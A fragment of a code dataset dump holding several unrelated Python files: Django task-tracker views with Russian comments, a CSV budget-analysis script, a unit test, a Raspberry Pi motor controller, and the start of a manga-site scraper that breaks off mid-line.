task.save()\r\n # переход на форму прикрепления файлов\r\n return redirect('/addfile/?' + 'task_id=' + str(task.id) )\r\n else:\r\n # если новая заявка иль возврат из формы прикрепления докуметов,\r\n # то открываем форму на редактирование\r\n if ptask_id:\r\n task = None\r\n try: task = get_task_filtered(request.user, ptask_id)\r\n except (InvalidTaskId):\r\n return HttpResponse(u'Неверный ID. Заявка № ' + request.POST['id'] + u' не найдена.')\r\n except (TaskNotExists):\r\n return HttpResponse(u'Не существует Заявки. Заявка № ' + request.POST['id'] + u' не найдена.')\r\n except TaskAccessDenied:\r\n return HttpResponse(u'Недостаточно прав для открытия заявки.') \r\n if request.user.is_superuser: \r\n return edit_task(request, ptask_id)\r\n if request.user.groups.filter(name=\"manager\"): # могут смотреть и менять всё\r\n return edit_task(request, ptask_id, role='manager')\r\n if request.user.groups.filter(name=\"customer\"): \r\n return edit_task(request, ptask_id, role='customer')\r\n form = AddTaskForm({'id':task.id, 'name':task.name, 'descr':task.descr})\r\n else: \r\n if request.user.is_superuser: \r\n return edit_task(request, ptask_id)\r\n if request.user.groups.filter(name=\"manager\"): # могут смотреть и менять всё\r\n return edit_task(request, ptask_id, role='manager')\r\n if request.user.groups.filter(name=\"customer\"): \r\n return edit_task(request, ptask_id, role='customer')\r\n form = AddTaskForm()\r\n return render_to_response('addtask4user.html', {'form':form, 'curdate':CurDate()}, \\\r\n context_instance=RequestContext(request, c))\r\n\r\n@login_required\r\ndef common_tasklist(request, page_number=None, p_qs=None):\r\n \"\"\"\r\n Список задач для всех пользователей\r\n p_qs - query set, передаваемый из обработчика формы фильтра\r\n \"\"\"\r\n # проверяем, передан ли требуемый статус\r\n status = None\r\n \r\n if p_qs:\r\n status = 'filter'\r\n\r\n if request.method==\"GET\" and not status:\r\n if request.GET.get('status'):\r\n status = request.GET.get('status')\r\n \r\n # ищем статус и page_number в куки\r\n if not status:\r\n if request.COOKIES.has_key( 'status' ):\r\n status = request.COOKIES['status']\r\n\r\n if not p_qs and status=='filter':\r\n status=''\r\n \r\n c = {}; all_cols = False\r\n template_file=\"common_tasklist.html\"\r\n #Получение номера страницы# \r\n if page_number is None:\r\n if status and status!='filter':\r\n return redirect('/tasklist/1/?status=' + status)\r\n #return redirect('/tasklist/1/')\r\n p = 1\r\n else:\r\n try:\r\n p = int(page_number)\r\n except ValueError:\r\n p = 1\r\n \r\n # формирование QuerySet и контекста\r\n c.update(all_cols=True)\r\n qs = []; status_name = u' - ВСЕ'\r\n if status=='filter':\r\n ls = list(set(p_qs).intersection(set(get_filtered_tasklist(request.user))))\r\n qs = m.Task.objects.filter(pk__in=[li.id for li in ls]) # lambda?\r\n status_name = u' - Фильтр задан пользователем'\r\n \r\n elif status=='new':\r\n qs = get_filtered_tasklist(request.user).filter(responsible__isnull=True).exclude(closing_type='P')\r\n status_name = u' - НОВЫЕ'\r\n\r\n elif status=='not_open':\r\n #return HttpResponse('>'+status+'<')\r\n qs = get_filtered_tasklist(request.user).filter(date_close__isnull=True, ready_date__isnull=True , start_date__isnull=True).exclude(closing_type='P')\r\n status_name = u' - ВСЕ ЕЩЁ НЕ В ОБРАБОТКЕ'\r\n \r\n elif status=='not_ready':\r\n #return HttpResponse('>'+status+'<')\r\n qs = get_filtered_tasklist(request.user).filter(date_close__isnull=True, ready_date__isnull=True).exclude(closing_type='P')\r\n status_name = u' - ВСЕ ЕЩЁ НЕ ГОТОВЫЕ'\r\n\r\n elif status=='not_closed':\r\n #return HttpResponse('>'+status+'<')\r\n qs = get_filtered_tasklist(request.user).filter(date_close__isnull=True).exclude(closing_type='P')\r\n status_name = u' - ВСЕ ЕЩЁ НЕ ЗАКРЫТЫЕ'\r\n\r\n elif status=='closed':\r\n qs = get_filtered_tasklist(request.user).\\\r\n filter(responsible__isnull=False, date_close__isnull=False).exclude(closing_type='P')\r\n status_name = u' - ЗАКРЫТЫЕ'\r\n elif status=='ready':\r\n qs = get_filtered_tasklist(request.user).\\\r\n filter(responsible__isnull=False, date_close__isnull=True, ready_date__isnull=False).exclude(closing_type='P')\r\n status_name = u' - ГОТОВЫЕ'\r\n elif status=='open':\r\n qs = get_filtered_tasklist(request.user).\\\r\n filter(responsible__isnull=False, date_close__isnull=True, \\\r\n ready_date__isnull=True, start_date__isnull=False).exclude(closing_type='P')\r\n status_name = u' - В ОБРАБОТКЕ'\r\n elif status=='set':\r\n qs = get_filtered_tasklist(request.user).\\\r\n filter(responsible__isnull=False, date_close__isnull=True, \\\r\n ready_date__isnull=True, start_date__isnull=True, appoint_date__isnull=False).exclude(closing_type='P')\r\n status_name = u' - НАЗАЧЕННЫЕ'\r\n elif status=='pending':\r\n qs = get_filtered_tasklist(request.user).\\\r\n filter(closing_type='P')\r\n status_name = u' - ОТЛОЖЕННЫЕ'\r\n else:\r\n qs = get_filtered_tasklist(request.user)\r\n cd=CurDate() #; fi=FilterIndicator()\r\n c.update(curdate=cd ,status_name=status_name, status=status)\r\n response = HttpResponse(object_list(request, qs, paginate_by=10, page=p, \\\r\n template_name=template_file, extra_context=c))\r\n response.set_cookie('status', value=status)\r\n return response\r\n\r\n@login_required\r\ndef task_detail(request, ptask_id):\r\n \"\"\"\r\n Детализация задачи\r\n \"\"\"\r\n # проверка task_id\r\n if ptask_id is None:\r\n return HttpResponse(u'Не указан task_id.')\r\n task_id = ptask_id\r\n task = None\r\n try: task = get_task_filtered(request.user, task_id)\r\n except (InvalidTaskId):\r\n return HttpResponse(u'Неверный ID. Заявка № ' + request.POST['id'] + u' не найдена.')\r\n except (TaskNotExists):\r\n return HttpResponse(u'Не существует Заявки. Заявка № ' + request.POST['id'] + u' не найдена.')\r\n except (TaskAccessDenied):\r\n return HttpResponse(u'Недостаточно прав для открытия заявки.') \r\n qs = m.Task.objects.filter(pk=task_id) # Task в форме списка\r\n files = task.base.all()\r\n # если требуется только view, то view и выдаём (как подтверждение \r\n # сохранения)\r\n st, status = task.get_status()\r\n if request.method=='GET':\r\n if request.GET.get('view')=='yes':\r\n if request.user.is_superuser or \\\r\n request.user.groups.filter(name=\"manager\"): # могут смотреть и менять всё\r\n \r\n return HttpResponse(object_detail(request, queryset=qs, object_id=task_id, \\\r\n template_name=\"task_detail.html\", \\\r\n extra_context={\"curdate\":CurDate(), \\\r\n \"header\":'Задача '+ str(task_id)+ ' сохранена.',\\\r\n \"appoint_date\":task.appoint_date,\r\n \"files\":files, \"show_all\":'Y', \"full_edit\":'Y'}))\r\n \r\n elif request.user.groups.filter(name=\"developer\"): # может смотреть и менять только своё\r\n if task.responsible.id==User.objects.get(username=request.user.username).id or \\\r\n task.applicant.id==User.objects.get(username=request.user.username).id:\r\n\r\n return HttpResponse(object_detail(request, queryset=qs, object_id=task_id, \\\r\n template_name=\"task_detail.html\", \\\r\n extra_context={\"curdate\":CurDate(), \\\r\n \"header\":'Задача '+ str(task_id), \\\r\n \"appoint_date\":task.appoint_date,\r\n \"files\":files, \"show_all\":'Y', \"full_edit\":'Y'}))\r\n else:\r\n return render_to_response(\"error.html\", {\"curdate\":CurDate(),\r\n \"message\":'Недостаточно прав.'}, \\\r\n context_instance=RequestContext(request))\r\n \r\n else:\r\n # Клиент и девелопер видят только свои задачки\r\n if task.applicant==request.user and task.responsible!=request.user: \r\n # Клиент не может редактировать, если у задачки есть манагер или ответственный (не он сам)\r\n if (task.manager or task.responsible) :\r\n return HttpResponse(object_detail(request, queryset=qs, object_id=task_id, \\\r\n template_name=\"task_detail.html\", \\\r\n extra_context={\"curdate\":CurDate(), \\\r\n \"header\":'Задача '+ str(task_id)+ ' сохранена.',\\\r\n \"appoint_date\":task.appoint_date,\r\n \"files\":files}))\r\n else:\r\n return HttpResponse(object_detail(request, queryset=qs, object_id=task_id, \\\r\n template_name=\"task_detail.html\", \\\r\n extra_context={\"curdate\":CurDate(), \\\r\n \"header\":'Задача '+ str(task_id)+ ' сохранена.',\\\r\n \"appoint_date\":task.appoint_date,\r\n \"files\":files, \"short_edit\":'Y'}))\r\n \r\n elif task.responsible==request.user:\r\n # Девелопер может смотреть и редактировать только свои ещё не закрытые задачки \r\n if task.status!='closed':\r\n return HttpResponse(object_detail(request, queryset=qs, object_id=task_id, \\\r\n template_name=\"task_detail.html\", \\\r\n extra_context={\"curdate\":CurDate(), \\\r\n \"header\":'Задача '+ str(task_id)+ ' сохранена.',\\\r\n \"appoint_date\":task.appoint_date,\r\n \"files\":files, \"short_edit\":'Y'}))\r\n else: # закрытые - только просмотр\r\n return HttpResponse(object_detail(request, queryset=qs, object_id=task_id, \\\r\n template_name=\"task_detail.html\", \\\r\n extra_context={\"curdate\":CurDate(), \\\r\n \"header\":'Задача '+ str(task_id)+ ' сохр��нена.',\\\r\n \"appoint_date\":task.appoint_date,\r\n \"files\":files}))\r\n \r\n # POST - часть\r\n # если не назначен исполнитель\r\n if st=='new':\r\n # чужую - может посмотреть манагер через форму назначения\r\n if request.user.is_superuser:\r\n return edit_task(request, task_id)\r\n if request.user.groups.filter(name=\"manager\"):\r\n #return redirect('/appointtask/' + str(task_id) + '/')\r\n return edit_task(request, task_id, role='manager') #redirect('/edittask/' + str(task_id) + '/')\r\n # свою заявку можно редактировать свободно\r\n if task.applicant.id==User.objects.get(username=request.user.username).id:\r\n #return HttpResponse('Почему')\r\n return redirect('/addtask/' + task_id + '/')\r\n # если назначен исполнитель, обрабатываем в зависимости от статуса\r\n # заявки\r\n # если заявка открыта или ожидает закрытия\r\n if st in ('set', 'open', 'ready'):\r\n # если манагер - то можно отредактировать назначение\r\n if request.user.is_superuser:\r\n return edit_task(request, task_id)\r\n if request.user.groups.filter(name=\"manager\"):\r\n return edit_task(request, task_id, role='manager') # return redirect('/appointtask/' + str(task_id) +'/')\r\n # если открыта исполнителем - не манагером\r\n if task.responsible.id==User.objects.get(username=request.user.username).id:\r\n return redirect('/executetask/' + str(task_id) + '/')\r\n # Иначе - пользователь смотрит детали только своей!!! заявки\r\n if task.applicant.id==User.objects.get(username=request.user.username).id:\r\n return HttpResponse(object_detail(request, queryset=qs, object_id=task_id, \\\r\n template_name=\"task_detail.html\", \\\r\n extra_context={\"curdate\":CurDate(), \\\r\n \"header\":'Задача '+ str(task_id), \\\r\n \"appoint_date\":task.appoint_date,\r\n \"files\":files}))\r\n # если заявка закрыта\r\n if st in ('closed', 'pending'):\r\n # манагер может переназначить и изменить статус\r\n if request.user.is_superuser:\r\n return edit_task(request, task_id) # return redirect('/appointtask/' + str(task_id) +'/')\r\n if request.user.groups.filter(name=\"manager\"):\r\n return edit_task(request, task_id, role='manager') # return redirect('/appointtask/' + str(task_id) +'/')\r\n # заявитель и исполнитель могут смотреть детали заявки\r\n # каждый своей заявки\r\n if task.responsible.id==User.objects.get(username=request.user.username).id or \\\r\n task.applicant.id==User.objects.get(username=request.user.username).id:\r\n return HttpResponse(object_detail(request, queryset=qs, object_id=task_id, \\\r\n template_name=\"task_detail.html\", \\\r\n extra_context={\"curdate\":CurDate(), \\\r\n \"header\":'Задача '+ str(task_id), \\\r\n \"appoint_date\":task.appoint_date,\r\n \"files\":files}))\r\n \r\n@login_required\r\ndef edit_task(request, ptask_id=None, **kwargs):\r\n \"\"\"\r\n редактирование задачи для манагера и Супера\r\n \"\"\"\r\n is_manager = False\r\n is_customer = False\r\n role = None\r\n try:\r\n role = kwargs.pop('role')\r\n if role=='manager':\r\n is_manager = True\r\n if role=='customer':\r\n is_customer = True\r\n except:\r\n None\r\n #if ptask_id is None:\r\n #return HttpResponse(u'Не указан task_id.')\r\n task_id = ptask_id\r\n task = None\r\n if task_id: \r\n try: task = get_task_filtered(request.user, task_id)\r\n except (InvalidTaskId):\r\n return HttpResponse(u'Неверный ID. Заявка № ' + request.POST['id'] + u' не найдена.')\r\n except (TaskNotExists):\r\n return HttpResponse(u'Не существует Заявки. Заявка № ' + request.POST['id'] + u' не найдена.')\r\n except (TaskAccessDenied):\r\n return HttpResponse(u'Недостаточно прав для открытия заявки.') \r\n # прикреплённые файлы\r\n #files = task.base.all()\r\n c1 = {}\r\n c = {}\r\n c.update(csrf(request))\r\n if request.method=='GET':\r\n if task_id:\r\n if is_manager:\r\n form = TaskFormManager({'id':task_id,\r\n 'name':task.name,\r\n 'descr':task.descr,\r\n 'date_open':task.date_open,\r\n 'start_date':task.start_date,\r\n 'module':task.module,\r\n #'manager':task.manager,\r\n 'applicant':task.applicant,\r\n 'responsible':task.responsible,\r\n 'appoint_date':task.appoint_date,\r\n 'deadline':task.deadline,\r\n 'is_supervised':task.is_supervised,\r\n 'ready_date':task.ready_date,\r\n 'proj':task.proj,\r\n 'exe':task.exe,\r\n 'closing_type':task.closing_type,\r\n 'date_close':task.date_close,\r\n 'decision':task.decision,\r\n 'category':task.category.all(),\r\n 'urgent_important':task.urgent_important\r\n })\r\n elif is_customer:\r\n form = TaskFormCustomer({'id':task_id,\r\n 'name':task.name,\r\n 'descr':task.descr}) \r\n else:\r\n form = TaskForm({'id':task_id,\r\n 'name':task.name,\r\n 'descr':task.descr,\r\n 'date_open':task.date_open,\r\n 'start_date':task.start_date,\r\n 'module':task.module,\r\n 'manager':task.manager,\r\n 'applicant':task.applicant,\r\n 'responsible':task.responsible,\r\n 'appoint_date':task.appoint_date,\r\n 'deadline':task.deadline,\r\n 'is_supervised':task.is_supervised,\r\n 'ready_date':task.ready_date,\r\n 'proj':task.proj,\r\n 'exe':task.exe,\r\n 'closing_type':task.closing_type,\r\n 'date_close':task.date_close,\r\n 'decision':task.decision,\r\n 'category':task.category.all(),\r\n 'urgent_important':task.urgent_important\r\n })\r\n else: \r\n if is_manager:\r\n form = TaskFormManager({'date_open':date.today()})\r\n elif is_customer:\r\n form = TaskFormCustomer()\r\n else:\r\n form = TaskForm({'date_open':date.today()})\r\n else: # POST\r\n if is_manager:\r\n form = TaskFormManager(request.POST)\r\n elif is_customer:\r\n form = TaskFormCustomer(request.POST)\r\n else: \r\n form=TaskForm(request.POST)\r\n if form.is_valid():\r\n task = form.save(commit=False)\r\n if not task.closing_type and task.date_close and task.responsible:\r\n task.closing_type = 'C'\r\n if task_id:\r\n task.id = task_id\r\n if is_customer:\r\n try:\r\n task_temp = m.Task.objects.get(pk=task_id)\r\n if not (task_temp.responsible or task_temp.manager):\r\n if task_temp.applicant:\r\n task.applicant = task_temp.applicant\r\n else:\r\n task.applicant = request.applicant\r\n else:\r\n return render_to_response(\"error.html\", {\"curdate\":CurDate(),\r\n \"message\":'Нельзя изменять заявку, принятую в работу.'}, \\\r\n context_instance=RequestContext(request))\r\n \r\n except:\r\n task.applicant = request.user\r\n #task.applicant = form.cleaned_data['applicant']\r\n else:\r\n task.applicant = request.user\r\n if is_manager and not task.manager:\r\n task.manager = request.user\r\n if not task.date_open:\r\n task.date_open = date.today()\r\n if not task.appoint_date and task.responsible and task.manager:\r\n task.appoint_date = date.today()\r\n if not task.start_date and task.responsible:\r\n task.start_date = date.today()\r\n if task.closing_type:\r\n if not task.ready_date:\r\n if task.date_close:\r\n task.ready_date = task.date_close\r\n else:\r\n task.ready_date = date.today()\r\n if not task.date_close:\r\n task.date_close = date.today()\r\n #20.02.2013\r\n if task.name and not task.descr:\r\n task.descr = task.name\r\n \r\n #if not is_customer: \r\n # task.deadline = form.cleaned_data['deadline'] \r\n # task.is_supervised = form.cleaned_data['is_supervised' ]\r\n # task.urgent_important = form.cleaned_data['urgent_important']\r\n # task.save()\r\n # task.category = form.cleaned_data['category']\r\n # task.save()\r\n #task.category.through.objects.all().delete()\r\n #for category in m.TaskCategory.objects.filter(pk__in=request.POST.getlist('category')):\r\n # task.category.add(category)\r\n #else:\r\n # task.urgent_important = 'D'\r\n # task.save()\r\n task.save()\r\n if form.cleaned_data.has_key('category'):\r\n task.category = form.cleaned_data['category']\r\n task.save()\r\n # переход на форму прикрепления файлов\r\n return redirect('/addfile/?' + 'task_id=' + str(task.id) )\r\n else: return HttpResponse('Форма не айс!')\r\n\r\n curdate = CurDate()\r\n return render_to_response('edit_task.html', {'form':form, 'curdate':CurDate(), 'task_id':task_id, 'curdate':curdate}, \\\r\n context_instance=RequestContext(request, c))\r\n \r\n@login_required\r\ndef search_form(request):\r\n if request.method=='POST':\r\n form = TaskSearchForm(request.POST)\r\n search_string = '1=1'\r\n params = []\r\n if form.is_valid():\r\n for item in form.cleaned_data:\r\n if item in ('name', 'descr'):\r\n if form.cleaned_data[item]:\r\n search_string += \" and upper(\" + item + \") like %s\"\r\n params.append(form.cleaned_data[item].upper())\r\n \r\n #return HttpResponse(search_string % tuple(params))\r\n for i in range(len(params)):\r\n if params[i][:1]!='%':\r\n params[i] = '%' + params[i]\r\n if params[i][len(params[i])-1:]!='%':\r\n params[i] += '%'\r\n qs = m.Task.objects.extra(where=[search_string], params=params)\r\n return common_tasklist(request, None, qs)\r\n else: \r\n form = TaskSearchForm()\r\n c = {}\r\n c.update(csrf(request))\r\n\r\n return render_to_response('search_task.html', {'form':form, 'curdate':CurDate()},\r\n context_instance=RequestContext(request, c))\r\n None\r\n return HttpResponse('Данная функция находится в разработке.')\r\n \r\n@login_required\r\ndef change_password(request):\r\n if request.method=='POST':\r\n form = ChangePasswordForm(request.POST)\r\n if form.is_valid(): \r\n if request.user.check_password(form.cleaned_data['old_password']):\r\n request.user.set_password(form.cleaned_data['new_password'])\r\n request.user.save()\r\n return render_to_response(\"error.html\", {\"curdate\":CurDate(),\r\n \"message\":'Пароль изменён.'}, \\\r\n context_instance=RequestContext(request))\r\n else:\r\n return render_to_response(\"error.html\", {\"curdate\":CurDate(),\r\n \"message\":'Вы указали неверный пароль.'}, \\\r\n context_instance=RequestContext(request))\r\n form = ChangePasswordForm()\r\n c = {}\r\n c.update(csrf(request))\r\n return render_to_response('change_password.html', {'form':form, 'curdate':CurDate()},\r\n context_instance=RequestContext(request, c))\r\n \r\ndef my_logout(request):\r\n from django.contrib.auth import logout\r\n logout(request)\r\n return redirect('/home/')\r\n\r\ndef home_page(request):\r\n \"\"\"\r\n домашняя страничка\r\n \"\"\"\r\n if request.method=='POST':\r\n uname = request.POST['username']\r\n passw = request.POST['password']\r\n user = auth.authenticate(username=uname, password=passw)\r\n if user is not None and user.is_active:\r\n auth.login(request, user)\r\n else: return render_to_response(\"error.html\", {\"curdate\":CurDate(),\r\n \"message\":'Указаны Неверные логин или пароль.'}, \\\r\n context_instance=RequestContext(request))\r\n return render_to_response(\"hello.html\", {\"curdate\":CurDate()}, \\\r\n context_instance=RequestContext(request))\r\n \r\n\r\n \r\n\r\n","sub_path":"SQL/upd_20130220/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":44204,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"527798865","text":"#import library\nimport os\nimport csv\n\n#joining path\npybank_data = os.path.join('Resources', 'budget_data.csv')\n\n#open and read csv\nwith open(pybank_data) as csvfile:\n csvreader = csv.reader(csvfile, delimiter=',')\n csv_header = next(csvreader)\n\n\n #create lists for rows and define variables\n months = []\n profit_losses = []\n average_change = []\n\n #read through each row after header and append into lists\n for row in csvreader:\n months.append(row[0])\n profit_losses.append(int(row[1]))\n\n for p in range(len(profit_losses)-1):\n#The average of the changes in \"Profit/Losses\" over the entire period\n average_change.append((profit_losses[p+1] - profit_losses[p]))\n\n#The greatest increase in profits (date and amount) over the entire period\ngreatest_increase = max(average_change)\n\n#The greatest decrease in losses (date and amount) over the entire period\ngreatest_decrease = min(average_change)\n\nmax_month = average_change.index(max(average_change)) + 1\nmin_month = average_change.index(min(average_change)) + 1\n\n#print financial analysis\nprint(\"Financial Analysis\")\nprint(\"----------------------------\")\nprint(f\"Total Months: {len(months)}\")\nprint(f\"Total: ${sum(profit_losses)}\")\nprint(f\"Average Change: {(sum(average_change) / len(average_change)):.2f}\")\nprint(f\"Greatest Increase in Profits: {months[max_month]} (${str(greatest_increase)})\")\nprint(f\"Greatest Decrease in Profits: {months[min_month]} (${str(greatest_decrease)})\")\n\n\n#In addition, your final script should both print the analysis to the terminal and export a text file with the results.\noutput_file = os.path.join('financial_analysis.txt')\nwith open(output_file, \"w\") as file:\n file.write(\"Financial Analysis\")\n file.write(\"\\n\")\n file.write(\"----------------------------\")\n file.write(\"\\n\")\n file.write(f\"Total Months: {len(months)}\")\n file.write(\"\\n\")\n file.write(f\"Total: ${sum(profit_losses)}\")\n file.write(\"\\n\")\n file.write(f\"Average Change: {(sum(average_change) / len(average_change)):.2f}\")\n file.write(\"\\n\")\n file.write(f\"Greatest Increase in Profits: {months[max_month]} (${str(greatest_increase)})\")\n file.write(\"\\n\")\n file.write(f\"Greatest Decrease in Profits: {months[min_month]} (${str(greatest_decrease)})\")\n","sub_path":"py_Bank_main.py","file_name":"py_Bank_main.py","file_ext":"py","file_size_in_byte":2218,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"214797258","text":"from exercise_12 import Exercise12\nimport unittest\n\n\nclass Exercise12Test(unittest.TestCase):\n def test_returns_none_if_list_size_lesser_than_max_index(self):\n exercise_12 = Exercise12()\n result = exercise_12.remove_elements([1, 2, 3])\n\n self.assertIsNone(result)\n\n\n def test_remove_0_4th_and_5th_indexes_returns_correct_list(self):\n exercise_12 = Exercise12()\n result = exercise_12.remove_elements([1, 2, 3, 4, 5, 6])\n expected = [2, 3, 4]\n\n self.assertEqual(result, expected)\n","sub_path":"Lists and Dicts/tests/test_exercise_12.py","file_name":"test_exercise_12.py","file_ext":"py","file_size_in_byte":533,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"240447508","text":"#!/usr/bin/python3\n\n\"\"\" Controls the power to the motors using PID.\n\"\"\"\n\nimport RPi.GPIO as GPIO\nimport enum\nimport time\nfrom motor import Motor\nfrom dist_sensor import DistSensor\nfrom encoder import Encoder\n\n# Enum for movement state machine\nclass MoveState(enum.Enum):\n\tSTRAIGHT = 0\n\tTURN_LEFT = 1\n\tTURN_RIGHT = 2\n\nclass MotorController:\n\t\n\tdef __init__(self):\n\t\tGPIO.setmode(GPIO.BOARD)\n\t\t# Init devices\n\t\t# TODO: Replace these numbers with the correct pins\n\t\tself.motor_l = Motor(3, 4, 5)\n\t\tself.motor_r = Motor(3, 4, 5)\n\t\tself.encoder_l = Encoder(0, 0)\n\t\tself.encoder_r = Encoder(0, 0)\n\t\tself.sensors = [DistSensor(0), DistSensor(0), DistSensor(0), DistSensor(0), DistSensor(0)]\n\t\t# Misc state\n\t\tself.move_state = MoveState.STRAIGHT\n\t\tself.spd = 0\n\t\tself.running = True\n\t\t# Constants, probably gonna rewrite how the bot turns\n\t\tself.outer_ticks = 10\n\t\tself.inner_ticks = 0\n\t\tself.max_ticks = 50\n\t\t\n\t# Starts the motor controller\n\tdef start(self):\n\t\tself.thread = threading.Thread(target = self.run, daemon = True)\n\t\tself.thread.start()\n\t\t\n\t# Runs the motor controller continously\n\tdef run(self):\n\t\tlast_time = 0\n\t\tlast_left_spd = 0\n\t\tlast_right_spd = 0\n\t\twhile self.running:\n\t\t\t# Movement state machine\n\t\t\t# Why doesn't python have switch statements\n\t\t\tif self.move_state == MoveState.STRAIGHT:\n\t\t\t\t# Calculate delta time\n\t\t\t\tcurr_time = time.time()\n\t\t\t\tdelta_time = curr_time - last_time\n\t\t\t\tlast_time = curr_time\n\t\t\t\t# Run motors with PID\n\t\t\t\tleft_spd = self.encoder_l.read_ticks() / self.max_ticks / delta_time\n\t\t\t\tleft_pwr = 1 * (self.spd - left_spd) - 1 * (left_spd - last_left_spd) / delta_time + 1 * self.sensors[0].detected()\n\t\t\t\tlast_left_spd = left_spd\n\t\t\t\tleft_pwr = min(max(left_pwr, -1), 1)\n\t\t\t\tright_spd = self.encoder_r.read_ticks() / self.max_ticks / delta_time\n\t\t\t\tright_pwr = 1 * (self.spd - right_spd) - 1 * (right_spd - last_right_spd) / delta_time + 1 * self.sensors[4].detected()\n\t\t\t\tlast_right_spd = right_spd\n\t\t\t\tright_pwr = min(max(right_pwr, -1), 1)\n\t\t\t\tself.motor_l.set_pwr(left_pwr)\n\t\t\t\tself.motor_r.set_pwr(right_pwr)\n\t\t\telif self.move_state == MoveState.TURN_LEFT:\n\t\t\t\t# Turn the bot\n\t\t\t\tenc_out = 0\n\t\t\t\tenc_in = 0\n\t\t\t\tself.motor_l.set_pwr(-0.1)\n\t\t\t\tself.motor_l.set_pwr(0.1)\n\t\t\t\twhile enc_out > self.outer_ticks and enc_in < self.inner_ticks:\n\t\t\t\t\tenc_out += self.encoder_l.read_ticks()\n\t\t\t\t\tenc_in += self.encoder_r.read_ticks()\n\t\t\t\tself.motor_l.set_pwr(0)\n\t\t\t\tself.motor_l.set_pwr(0)\n\t\t\t\t# Set state back to straight\n\t\t\t\tself.move_state = MoveState.STRAIGHT\n\t\t\telif self.move_state == MoveState.TURN_RIGHT:\n\t\t\t\t# Turn the bot\n\t\t\t\tenc_out = 0\n\t\t\t\tenc_in = 0\n\t\t\t\tself.motor_l.set_pwr(0.1)\n\t\t\t\tself.motor_l.set_pwr(-0.1)\n\t\t\t\twhile enc_out > self.outer_ticks and enc_in < self.inner_ticks:\n\t\t\t\t\tenc_out += self.encoder_l.read_ticks()\n\t\t\t\t\tenc_in += self.encoder_r.read_ticks()\n\t\t\t\tself.motor_l.set_pwr(0)\n\t\t\t\tself.motor_l.set_pwr(0)\n\t\t\t\t# Set state back to straight\n\t\t\t\tself.move_state = MoveState.STRAIGHT\n\n\t# Makes the robot turn left 90 degrees\n\t# If the robot is in the middle of a turn, this does nothing\n\tdef turn_left(self):\n\t\t# Turn check\n\t\tif self.move_state is not MoveState.STRAIGHT:\n\t\t\treturn\n\t\t# Temporarily stop thread\n\t\tself.running = False\n\t\tself.thread.join()\n\t\t# Set turning state\n\t\tself.move_state = MoveState.TURN_LEFT\n\t\t# Restart thread\n\t\tself.running = True\n\t\tself.thread.start()\n\t\t\n\t# Makes the robot turn right 90 degrees\n\t# If the robot is in the middle of a turn, this does nothing\n\tdef turn_right(self):\n\t\t# Turn check\n\t\tif self.move_state is not MoveState.STRAIGHT:\n\t\t\treturn\n\t\t# Temporarily stop thread\n\t\tself.running = False\n\t\tself.thread.join()\n\t\t# Set turning state\n\t\tself.move_state = MoveState.TURN_RIGHT\n\t\t# Restart thread\n\t\tself.running = True\n\t\tself.thread.start()\n\t\t\n\t# Sets the robot's linear speed\n\tdef set_spd(self, spd):\n\t\tself.running = False\n\t\tself.thread.join()\n\t\tself.spd = spd\n\t\tself.running = True\n\t\tself.thread.start()\n\t\n\t# Stops the motor controller\n\tdef stop(self):\n\t\t# Stop thread\n\t\tself.running = False\n\t\tself.thread.join()\n\t\t# Clean up resources\n\t\tself.motor_l.stop()\n\t\tself.motor_r.stop()\n\t\tGPIO.cleanup()","sub_path":"2021-2022/fasterPacman/gameEngine/botCode/hardware/motor_controller.py","file_name":"motor_controller.py","file_ext":"py","file_size_in_byte":4094,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"96694743","text":"from bs4 import BeautifulSoup\nimport requests\nimport json\nimport re\n\nclass FrontPage:\n\t@staticmethod\n\tdef get():\n\t\turl_home = 'https://nhentai.net'\n\t\tresponse = requests.get(url_home, timeout=5)\n\t\tcontent = BeautifulSoup(response.content, \"html.parser\")\n\n\t\tbookArr = []\n\t\tfor book in content.findAll('div', attrs={\"class\": \"gallery\"}):\n\t\t\ttitle = book.find('div', attrs={\"class\": \"caption\"}).text\n\t\t\turl_path = book.find('a', attrs={\"class\": \"cover\"})['href']\n\t\t\ttry:\n\t\t\t\timage_url = '{}cover.jpg'.format(book.find('img')['data-src'][:-9])\n\t\t\texcept KeyError:\n\t\t\t\t# Some books do not have a 'data-src' URL and throw a KeyError\n\t\t\t\t# This grabs the thumbnail image in a different attribute\n\t\t\t\timage_url = 'http:{}cover.jpg'.format(book.find('img')['src'][:-9])\n\t\t\tbookObject = {\n\t\t\t\t\"title\": title,\n\t\t\t\t\"url\": f'{url_home}{url_path}',\n\t\t\t\t\"image_url\": image_url\n\t\t\t}\n\t\t\tbookArr.append(bookObject)\n\t\treturn bookArr\n\nclass SearchResults:\n\t@staticmethod\n\tdef get(query, page=1, popular=False):\n\t\tquery = query.split()\n\t\tquery = '+'.join(query)\n\t\turl_home = 'https://nhentai.net'\n\n\t\tif (popular):\n\t\t\turl = f'https://nhentai.net/search/?q={query}&page={page}&sort=popular'\n\t\telse:\n\t\t\turl = f'https://nhentai.net/search/?q={query}&page={page}'\n\t\tresponse = requests.get(url, timeout=5)\n\t\tcontent = BeautifulSoup(response.content, \"html.parser\")\n\n\t\tbookArr = []\n\t\tfor book in content.findAll('div', attrs={\"class\": \"gallery\"}):\n\t\t\ttitle = book.find('div', attrs={\"class\": \"caption\"}).text\n\t\t\turl_path = book.find('a', attrs={\"class\": \"cover\"})['href']\n\t\t\ttry:\n\t\t\t\timage_url = '{}cover.jpg'.format(book.find('img')['data-src'][:-9])\n\t\t\texcept KeyError:\n\t\t\t\t# Some books do not have a 'data-src' URL and throw a KeyError\n\t\t\t\t# This grabs the thumbnail image in a different attribute\n\t\t\t\timage_url = 'http:{}cover.jpg'.format(book.find('img')['src'][:-9])\n\t\t\tbookObject = {\n\t\t\t\t\"title\": title,\n\t\t\t\t\"url\": f'{url_home}{url_path}',\n\t\t\t\t\"image_url\": image_url\n\t\t\t}\n\t\t\tbookArr.append(bookObject)\n\t\treturn bookArr\n\nclass BookResults:\n\t@staticmethod\n\tdef _parse_input_(input):\n\t\turl_exp = re.compile(r'(http(s)?:\\/\\/.)?(www\\.)?[nhentai]{2,256}\\.[net]{2,6}\\b([-a-zA-Z0-9@:%_\\+.~#?&//=]*)')\n\t\tid_exp = 